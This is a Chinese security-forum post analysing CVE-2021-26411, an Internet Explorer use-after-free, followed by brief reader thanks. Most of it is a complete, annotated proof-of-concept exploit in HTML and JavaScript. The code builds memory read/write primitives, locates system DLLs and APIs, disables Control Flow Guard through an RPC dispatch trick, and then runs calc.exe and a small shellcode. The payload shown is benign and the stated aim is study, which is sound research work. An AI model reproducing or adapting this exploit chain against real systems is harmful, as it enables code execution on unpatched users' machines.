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[漏洞分析] CVE-2021-26411复现,学习JavaScript之POC源码分析

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BeneficialWeb 发表于 2021-5-6 17:57 回帖奖励

CVE-2021-26411复现,学习JavaScript之POC源码分析

概述

CVE-2021-26411,该漏洞的原因:removeAttributeNode()触发属性对象nodeValue的valueOf回调,回调期间手动调用clearAttributes(),导致nodeValue保存的BSTR被提前释放。回调返回后,没有检查nodeValue是否存在继续使用该对象,最终导致UAF(Use After Free)

参考分析链接

国内链接

CVE-2021-26411在野样本中利用RPC绕过CFG缓解技术的研究 (qq.com)

IE浏览器在野0Day CVE-2021-26411漏洞分析 (qq.com)

原作者链接

https://enki.co.kr/blog/2021/02/04/ie_0day.html

平台环境

Win10 1809 17763

VmWare 16.1.1 build-17801498

复现效果展示

POC源码分析

<!-- IE Double Free 1Day Poc -->
<!doctype html>
<html lang="zh-cmn-Hans">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">

// 重复字符串
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }

function pad0(str) {
    // 提取倒数第四个字符开始的字符串,效果就是补0
    return ('0000' + str).slice(-4)
}

// Access of Resource Using Incompatible Type ('Type Confusion')
function alloc1() {
    // DataView 视图是一个可以从 二进制ArrayBuffer 对象中读写多种数值类型的底层接口,使用它时,不用考虑不同平台的字节序问题。
    var view = new DataView(abf)
    var str = ''
    for (var i = 4; i < abf.byteLength - 2; i += 2)
        str += '%u' + pad0(view.getUint16(i, true).toString(16))
    // 创建并返回一个新的属性节点
    var result = document.createAttribute('alloc')
    // 对escape()编码的字符串进行解码
    result.nodeValue = unescape(str)
    return result
}

function alloc2() {
    // 创建字典对象
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    // 增加新项,dic.add(key,value)
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, arr)
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    return dic1.items()
}

function dump(nv) {
    // ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。
    // 创建一个0x20010字节的缓冲区,并使用一个 DataView 来引用它
    var ab = new ArrayBuffer(0x20010)
    var view = new DataView(ab)
    for (var i = 0; i < nv.length; ++i)
        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
    return ab
}

// 在原型对象上定义属性
function Data(type, value) {
    this.type = type
    this.value = value
}

function setData(i, data) {
    var arr = new Uint32Array(abf)
    arr[i * 4] = data.type
    arr[i * 4 + 2] = data.value
}

function flush() {
    hd1.nodeValue = (new alloc1()).nodeValue
    hd2.nodeValue = 0
    // 返回调用该方法的节点的一个副本.
    hd2 = hd1.cloneNode()
}

// 小端序读取
function read(addr, size) {
    switch (size) {
        case 8:
            return god.getUint8(addr)
        case 16:
            // getUint16(byteOffset [, littleEndian])
            return god.getUint16(addr, true)
        case 32:
            return god.getUint32(addr, true)
    }
}

function write(addr, value, size) {
    switch (size) {
        case 8:
            return god.setUint8(addr, value)
        case 16:
            return god.setUint16(addr, value, true)
        case 32:
            return god.setUint32(addr, value, true)
    }
}

function writeData(addr, data) {
    for (var i = 0; i < data.length; ++i)
        write(addr + i, data[i], 8)
}

function addrOf(obj) {
    arr[0] = obj
    return read(pArr, 32)
}

function strcmp(str1, str2) {
    // typeof 操作符返回一个字符串,表示未经计算的操作数的类型。
    str1 = (typeof str1 == 'string') ? str1 : toStr(str1)
    str2 = (typeof str2 == 'string') ? str2 : toStr(str2)
    return str1.toLowerCase() == str2.toLowerCase()
}

function memcpy(dst, src, size) {
    for (var i = 0; i < size; ++i)
        write(dst + i, read(src + i, 8), 8)
}

function toStr(addr) {
    var str = ''
    while (true) {
        var c = read(addr, 8)
        // 遇到终结符就退出循环
        if (c == 0) break
        // 返回由指定的 UTF-16 代码单元序列创建的字符串
        str += String.fromCharCode(c)
        addr++
    }
    return str
}

function newStr(str) {
    var buffer = createArrayBuffer(str.length + 1)
    for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8)
    // 写入字符串终结符
    write(buffer + i, 0, 8)
    return buffer
}
// PE文件相关操作函数
function getDllBase(base, name) {
    var tmpValue = 0
    var index = 0
    var iat = base + read(base + read(base + 60, 32) + 128, 32)
    while (true) {
        var offset = read(iat + index * 20 + 12, 32)
        if (strcmp(base + offset, name)) break
        index++
    }
    var addr = read(iat + index * 20 + 16, 32)
    return getBase(read(base + addr, 32))
}

function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && isPE(addr)) break
        addr -= 0x10000
    }
    return addr
}

function isMZ(addr) {
    return read(addr, 16) == 0x5a4d
}

function isPE(addr) {
    var sizeOfHeaders = read(addr + 60, 32)
    if (sizeOfHeaders > 0x600) return null
    var addr = addr + sizeOfHeaders
    if (read(addr, 32) != 0x4550) return null
    return addr
}

function winVer() {
    // 返回浏览器的平台和版本信息
    var appVersion = window.navigator.appVersion
    var ver = 0
    // 检测一个字符串是否匹配某个模式,javaScript正则表达式
    if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) {
        ver = 100
    } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) {
        ver = 81
    } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) {
        ver = 80
    } else {
        ver = 70
    }
    return ver
}

function createArrayBuffer(size) {
    var ab = new ArrayBuffer(size)
    var bs = read(addrOf(ab) + 0x1c, 32)
    // 设置键值对
    map.set(bs, ab)
    return bs
}

function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}

function readyRpcCall(func) {
    var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation')
    var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo')
    var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable')
    write(RPC_DISPATCH_TABLE_Buffer, func, 32)
}

function setArgs(args) {
    var buffer = createArrayBuffer(48)
    for (var i = 0; i < args.length; ++i) {
        write(buffer + i * 4, args[i], 32)
    }
    _RPC_MESSAGE.set(msg, 'Buffer', buffer)
    _RPC_MESSAGE.set(msg, 'BufferLength', 48)
    _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000)
    return buffer
}

function callRpcFreeBufferImpl() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer)
    return call(rpcFree)
}

function callRpcFreeBuffer() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    var result = read(buffer, 32)
    callRpcFreeBufferImpl()
    return result
}

function call2(func, args) {
    readyRpcCall(func)
    var buffer = setArgs(args)
    call(msg)
    map.delete(buffer)
    return callRpcFreeBuffer()
}

function call(addr) {
    var result = 0
    write(paoi + 0x18, addr, 32)
    // 错误处理
    try {
        // rpcrt4!NdrServerCall2
        xyz.normalize()
    } catch (error) {
        result = error.number
    }
    write(paoi + 0x18, patt, 32)
    return result
}

function prepareCall(addr, func) {
    var buf = createArrayBuffer(cattr.size())
    var vft = read(patt, 32)
    memcpy(addr, patt, cbase.size())
    memcpy(buf, vft, cattr.size())
    cbase.set(addr, 'pvftable', buf)
    cattr.set(buf, 'normalize', func)
}

function createBase() {
    var isWin7 = winVer() == 70
    var size = isWin7 ? 560 : 572
    var offset = isWin7 ? 540 : 548
    var addr1 = createArrayBuffer(size + cbase.size())
    var addr2 = createArrayBuffer(48)
    write(addr1 + offset, addr2, 32)
    write(addr2 + 40, 8, 32)
    write(addr2 + 36, 8, 32)
    return {
        size: size,
        addr: addr1
    }
}

function aos() {
    var baseObj = createBase()
    var addr = baseObj.addr + baseObj.size
    var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')
    prepareCall(addr, I_RpcTransServerNewConnection)
    return read(read(call(addr)-0xf8, 32), 32)
}

// 自定义结构体的操作
function SymTab(size, sym) {
    this.size = function() {
        return size
    }
    this.set = function(addr, name, value) {
        var o = sym[name]
        write(addr + o.offset, value, o.size)
    }
    this.get = function(addr, name) {
        var o = sym[name]
        return read(addr + o.offset, o.size)
    }
}

// 构造RPC
function initRpc() {
    var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0]
    var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')
    var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')
    var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')
    var RPCMessageObject = createArrayBuffer(cbase.size())
    var buffer = createArrayBuffer(0x100)
    var buffer2 = createArrayBuffer(0x200)
    var AttributeVtable = read(patt, 32)
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())
    var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())
    var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())
    var rpcProcStringBuffer = createArrayBuffer(data.length)
    writeData(rpcProcStringBuffer, data)
    var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())
    var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())
    var NdrServerCall2Buffer = createArrayBuffer(4)
    write(NdrServerCall2Buffer, NdrServerCall2, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 0x40, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
    cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)
    write(RPCMessageObject + 76, 1, 32)
    syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)
    _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)
    return RPCMessageObject
}

function rpcFree() {
    var Cbase = createArrayBuffer(cbase.size())
    var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer')
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var AttributeVtable = read(patt, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 64, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer)
    cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer)
    cbase.set(Cbase, 'pSecurityContext', Cbase + 68)
    write(Cbase + 76, 1, 32)
    return Cbase
}

function CFGObject(baseAddress) {
    var PEAddr = isPE(baseAddress)
    var eat = PEAddr + 120
    var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32)
    var size = read(LOAD_CONFIG_DIRECTORY, 32)
    var sizeOfImage = read(PEAddr + 0x50, 32)
    var CFGSymbolTable = new SymTab(0x5c, {
        '___guard_check_icall_fptr': {
            offset: 72,
            size: 32
        }
    })

    var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr')
    this.getCFGAddress = function() {
        return guard_check_icall_fptr_address
    }
    this.getCFGValue = function() {
        if (size < CFGSymbolTable.size()) return false
        var currentCFGValue = read(guard_check_icall_fptr_address, 32)
        var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage)
        return !isValidAddress;
    }
}

function killCfg(addr) {
    var cfgobj = new CFGObject(addr)
    if (!cfgobj.getCFGValue()) return
    var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
    var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
    var tmpBuffer = createArrayBuffer(4)
    // 修改RPCRT4!__guard_check_icall_fptr的属性为PAGE_EXECUTE_READWRITE
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
    // 替换rpcrt4!__guard_check_icall_fptr保存的指针,修改ntdll!LdrpValidateUserCallTarget为改为ntdll!KiFastSystemCallRet
    // 关闭rpcrt4的CFG检查
    write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
    // 恢复PRCRT4!__gurad_check_icall_fptr内存属性
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
    map.delete(tmpBuffer)
}

// {} 表示对象
// 属性:属性值
var cbase = new SymTab(0x60, {
    'pvftable': {
        offset: 0x0,
        size: 32
    },
    'pSecurityContext': {
        offset: 0x44,
        size: 32
    }
})

var cattr = new SymTab(0x32c, {
    '__vtguard': {
        offset: 0x48,
        size: 32
    },
    'SecurityContext': {
        offset: 0xc8,
        size: 32
    },
    'JSBind_TypeId': {
        offset: 0x160,
        size: 32
    },
    'JSBind_InstanceOf': {
        offset: 0x164,
        size: 32
    },
    'normalize': {
        offset: 0x28c,
        size: 32
    }
})

var syntaxObject = new SymTab(0x14, {
    'SyntaxVersion.MajorVersion': {
        offset: 0x10,
        size: 16
    }
})

var PRPC_CLIENT_INTERFACE = new SymTab(0x44, {
    'Length': {
        offset: 0,
        size: 32
    },
    'InterfaceId.SyntaxVersion.MajorVersion': {
        offset: 20,
        size: 16
    },
    'TransferSyntax.SyntaxVersion.MajorVersion': {
        offset: 40,
        size: 16
    },
    // 保存了runtime库和Stub函数的接口指针
    'DispatchTable': {
        offset: 44,
        size: 32
    },
    // 指向MIDL_SERVER_INFO结构
    'InterpreterInfo': {
        offset: 60,
        size: 32
    },
    'Flags': {
        offset: 64,
        size: 32
    }
})

// 保存了服务端IDL接口信息
var _MIDL_SERVER_INFO_ = new SymTab(0x20, {
    'pStubDesc': {
        offset: 0,
        size: 32
    },
    // 保存了服务端提供的远程调用例程的函数指针数组
    'DispatchTable': {
        offset: 4,
        size: 32
    },
    'ProcString': {
        offset: 8,
        size: 32
    },
    'FmtStringOffset': {
        offset: 12,
        size: 32
    }
})

var _MIDL_STUB_DESC = new SymTab(0x50, {
    'RpcInterfaceInformation': {
        offset: 0,
        size: 32
    },
    'pfnAllocate': {
        offset: 4,
        size: 32
    },
    'pfnFree': {
        offset: 8,
        size: 32
    },
    'pFormatTypes': {
        offset: 32,
        size: 32
    },
    'fCheckBounds': {
        offset: 36,
        size: 32
    },
    'Version': {
        offset: 40,
        size: 32
    },
    'MIDLVersion': {
        offset: 48,
        size: 32
    },
    'mFlags': {
        offset: 64,
        size: 32
    }
})

var RPC_DISPATCH_TABLE = new SymTab(12, {
    'DispatchTableCount': {
        offset: 0,
        size: 32
    },
    'DispatchTable': {
        offset: 4,
        size: 32
    },
})

var _RPC_MESSAGE = new SymTab(0x2c, {
    'Handle': {
        offset: 0,
        size: 32
    },
    'DataRepresentation': {
        offset: 4,
        size: 32
    },
    // 存放函数的参数
    'Buffer': {
        offset: 8,
        size: 32
    },
    'BufferLength': {
        offset: 12,
        size: 32
    },
    'TransferSyntax': {
        offset: 20,
        size: 32
    },
    // 指向RPC_SERVER_INTERFACE 
    'RpcInterfaceInformation': {
        offset: 24,
        size: 32
    },
    'RpcFlags': {
        offset: 40,
        size: 32
    }
})

var god
// 对象数组
var arr = [{}]
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var alloc = alloc2()
// 创建一个HTML 属性对象
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
// 创建一个HTML 元素对象
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        // 回调时,清除ele对象绑定的所有属性
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
// 触发valueof函数回调
ele.removeAttributeNode(att)
hd0.nodeValue = alloc
var leak = new Uint32Array(dump(hd2.nodeValue))
var pAbf = leak[6]
var pArr = leak[10]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var bufArr = new Array(0x10)
var fakeArr = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40
fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10
write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)

var map = new Map()
var jscript9 = getBase(read(addrOf(map), 32))
var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
var ntdll = getDllBase(msvcrt, 'ntdll.dll')
var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)
var patt = read(addrOf(xyz) + 0x18, 32)
var osf_vft = aos()
var msg = initRpc()
var rpcFree = rpcFree()
killCfg(rpcrt4)

// 调用API,弹出计算器
var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
var WinExec = getProcAddr(kernel32,'WinExec')
call2(WinExec,[newStr('calc.exe'),5])

// 调用shellcode
var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode) // mov eax, 0x1337 ; ret
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
// 根据shellocde的而反汇编结果,这里会弹出0x1337的对话框
alert(result.toString(16))

</script>
</body>
</html>

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 楼主| BeneficialWeb 发表于 2021-5-6 21:41 |楼主
GMCN 发表于 2021-5-6 21:20
Uncaught ReferenceError: ActiveXObject is not defined

你用的是Internet Explorer吗?
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GMCN 发表于 2021-5-6 21:20
沙发
aonima 发表于 2021-5-6 18:06
3#
独特丶小白 发表于 2021-5-6 18:16
感谢分享学习了
4#
luolifu 发表于 2021-5-6 18:27
感谢分享,收藏学习!
5#
First丶云心 发表于 2021-5-6 18:54
谢谢分享,学习学习!
6#
yangbaoqing11 发表于 2021-5-6 18:59
感谢分享啊
9#
nmy124 发表于 2021-5-6 22:12
谢谢老师分享,学习了!
10#
a3322a 发表于 2021-5-8 06:52
感谢分享,学习了!
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